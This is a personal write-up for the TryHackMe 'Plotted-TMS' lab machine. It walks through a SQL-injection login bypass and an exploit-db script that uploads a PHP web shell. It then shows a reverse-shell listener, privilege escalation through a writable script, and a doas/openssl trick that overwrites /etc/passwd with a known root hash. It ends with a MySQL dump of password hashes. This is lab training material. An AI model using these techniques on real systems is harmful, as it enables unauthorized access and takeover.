This is my writeup for the Plotted-TMS room/machine of the TryHackMe.com platform. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…
Machine
Enumeration is the key
The machine is rated as an easy machine and if you’re looking for an easy machine with a different PE this is for you. Thanks a lot to sa.infinity8888 for this machine!
The techiques used in this machine over a small enumeration:
The port 445 is an httpd server, I run a scan there too:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gobuster dir -u http://plotted-tms.thm:445 -k -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial)& Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.10.154.96:445
[+] Method: GET
[+] Threads: 10[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s===============================================================
2022/02/19 10:19:24 Starting gobuster in directory enumeration mode===============================================================
/management (Status: 301)[Size: 322][--> http://10.10.154.96:445/management/]
/server-status (Status: 403)[Size: 278]
Better, the /management part is interesting:
and the login part is:
I’m in front of an application called Traffic Offense Management System
Foothold
Before bruteforcing, trying something else etc etc I checked on the exploit-db if this application, Traffic Offense Management, have an exploit or some PoC and…there is something working!
The webapp suffers from a SQLi, reading the code of the exploits present of the exploit-db page it seems I need just an admin' OR 1=1–
searchsploit -m 50221
python2 50221.py
Example: http://example.com
Url: http://plotted-tms.thm:445/management/
Check Url ...
[+] Bypass Login
[+] Upload Shell
[+] Exploit Done!
$ ls
Traceback (most recent call last):
File "50221.py", line 107, in <module>
request= requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers)
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/api.py", line 119, in post
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/api.py", line 61, in request
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/sessions.py", line 516, in request
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/sessions.py", line 459, in prepare_request
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/models.py", line 314, in prepare
File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/models.py", line 388, in prepare_url
requests.exceptions.MissingSchema: Invalid URL '/management/uploads/1645280280_evil.php?cmd=ls': No schema supplied. Perhaps you meant http:///management/uploads/1645280280_evil.php?cmd=ls?
Argh! The exploit used it’s not working at 100% to run other commands, but the injection worked. If I try to run it with the proper IP is working.
Two clues, one for plot_admin and one for root maybe.
The first one is pretty fast, there is a script owned and runned by plot_admin into a directory owned by www-data. I can move the script and change it with a reverse shell (or something else…). My script is the following:
nc -nvlp 4444
listening on [any]4444 ...
connect to [10.11.55.171] from (UNKNOWN)[10.10.251.117]58952
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(plot_admin)gid=1001(plot_admin)groups=1001(plot_admin)
And the user and user.txt done.
PE to root
According to linpeas there is another possible way to escalate in the system: doas has openssl running as root.
Techically I can run something like doas -u root $app. I checked gtfobins as usual and openssl has a sudo way.
Just read the flag
If I want to abuse of this permission and just read the root.txt flag:
1
2
3
4
5
6
7
8
9
10
plot_admin@plotted:~$ doas -u root openssl enc -in /root/root.txt
doas -u root openssl enc -in /root/root.txt
Congratulations on completing this room!
[REDACTED]
Hope you enjoyed the journey!
Do let me know if you have any ideas/suggestions for future rooms.
-sa.infinity8888
That’s it. The flag is right there
Full escalation to root
There is another way, with the parameter -out of openssl (present on gtfobins). In this case I overwrite the /etc/passwd with just root/test123:
1
2
3
4
5
6
7
plot_admin@plotted:~$ echo"root:cpTwkvN8LaCm6:0:0:root:/root:/bin/bash"| doas -u root openssl enc -out /etc/passwd
plot_admin@plotted:~$ su - root
su - root
Password: test123
root@plotted:~#
Remember to save the output of /etc/passwd before…otherwise it will be lost!
Creator’s way
sa.infinity8888 wrote another way, you can check it on their page
L00t
Well…useless but…during my checks here and there I found some pass/hashes:
mysql -u tms_user -pPassword@123
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 180838
Server version: 8.0.27-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| tms_db |
+--------------------+
2 rows in set (0.96 sec)
mysql> use tms_db
use tms_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+------------------+
| Tables_in_tms_db |
+------------------+
| drivers_list |
| drivers_meta |
| offense_items |
| offense_list |
| offenses |
| system_info |
| users |
+------------------+
7 rows in set (0.08 sec)
mysql> select * from users;
select * from users;
+----+--------------+----------+----------+----------------------------------+-------------------------------+------------+------+---------------------+---------------------+
| id | firstname | lastname | username | password | avatar | last_login | type | date_added | date_updated |
+----+--------------+----------+----------+----------------------------------+-------------------------------+------------+------+---------------------+---------------------+
| 1 | Adminstrator | Admin | admin | 14d147dc0ba2fed434e7fd176dc87fdc | uploads/1645266720_evil.php | NULL | 1 | 2021-01-20 14:02:37 | 2022-02-19 10:32:23 |
| 9 | Plotted | User | puser | 1254737c076cf867dc53d60a0364f38e | uploads/1629336240_avatar.jpg | NULL | 2 | 2021-08-19 09:24:25 | 2021-10-28 07:33:02 |
+----+--------------+----------+----------+----------------------------------+-------------------------------+------------+------+---------------------+---------------------+